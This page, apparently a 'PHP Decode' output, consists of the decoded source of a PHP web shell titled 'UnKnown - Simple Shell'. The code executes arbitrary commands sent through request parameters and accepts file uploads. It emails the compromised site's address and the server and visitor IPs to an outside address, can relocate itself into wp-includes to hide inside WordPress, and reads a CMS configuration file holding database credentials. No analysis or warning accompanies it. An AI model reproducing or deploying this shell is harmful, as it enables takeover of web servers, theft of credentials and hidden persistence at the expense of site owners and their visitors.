PHP Decode

<?  error_reporting(0);if (!isset($_SESSION['bajak']))	{$visitcount = 0;$web = $_SERVER["HTTP_HOST"];$inj = $_SERVER["REQUEST_URI"];$body = "ada yang inject 
$web$inj";$safem0de = @ini_get('safe_mode');if (!$safem0de) {$security= "SAFE_MODE = OFF";}else {$security= "SAFE_MODE = ON";};$serper=gethostbyname($_SERVER['SERVER_ADDR']);$injektor = gethostbyname($_SERVER['REMOTE_ADDR']);mail("[email protected]", "$body","Hasil Bajakan http://$web$inj
$security
IP Server = $serper
 IP Injector= $injektor");$_SESSION['bajak'] = 0;}else {$_SESSION['bajak']++;};if(isset($_GET['clone'])){$source = $_SERVER['SCRIPT_FILENAME'];$desti =$_SERVER['DOCUMENT_ROOT']."/wp-includes/wp-simple.php";rename($source, $desti);}$safem0de = @ini_get('safe_mode');if (!$safem0de) {$security= "SAFE_MODE : OFF";}else {$security= "SAFE_MODE : ON";}echo "<title>UnKnown - Simple Shell</title><br>";echo "<font size=2 color=#888888><b>".$security."</b><br>";$cur_user="(".get_current_user().")";echo "<font size=2 color=#888888><b>User : uid=".getmyuid().$cur_user." gid=".getmygid().$cur_user."</b><br>";echo "<font size=2 color=#888888><b>Uname : ".php_uname()."</b><br>";function pwd() {$cwd = getcwd();if($u=strrpos($cwd,'/')){if($u!=strlen($cwd)-1){return $cwd.'/';}else{return $cwd;};}elseif($u=strrpos($cwd,'\')){if($u!=strlen($cwd)-1){return $cwd.'\';}else{return $cwd;};};}echo '<form method="POST" action=""><font size=2 color=#888888><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="cok"></form>';echo '<form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form>';if(isset($_POST['submit'])){$uploaddir = pwd();if(!$name=$_POST['newname']){$name = $_FILES['userfile']['name'];};move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name);if(move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name)){echo "Upload Failed";} else { echo "Upload Success to ".$uploaddir.$name." :D "; }}if(isset($_POST['command'])){$cmd = $_POST['cmd'];echo "<pre><font size=3 color=#000000>".shell_exec($cmd)."</font></pre>";}elseif(isset($_GET['cmd'])){$comd = $_GET['cmd'];echo "<pre><font size=3 color=#000000>".shell_exec($comd)."</font></pre>";}elseif(isset($_GET['rf'])){$rf = file_get_contents("../../configuration.php");echo $rf;}else { echo "<pre><font size=3 color=#000000>".shell_exec('ls -la')."</font></pre>";} ?>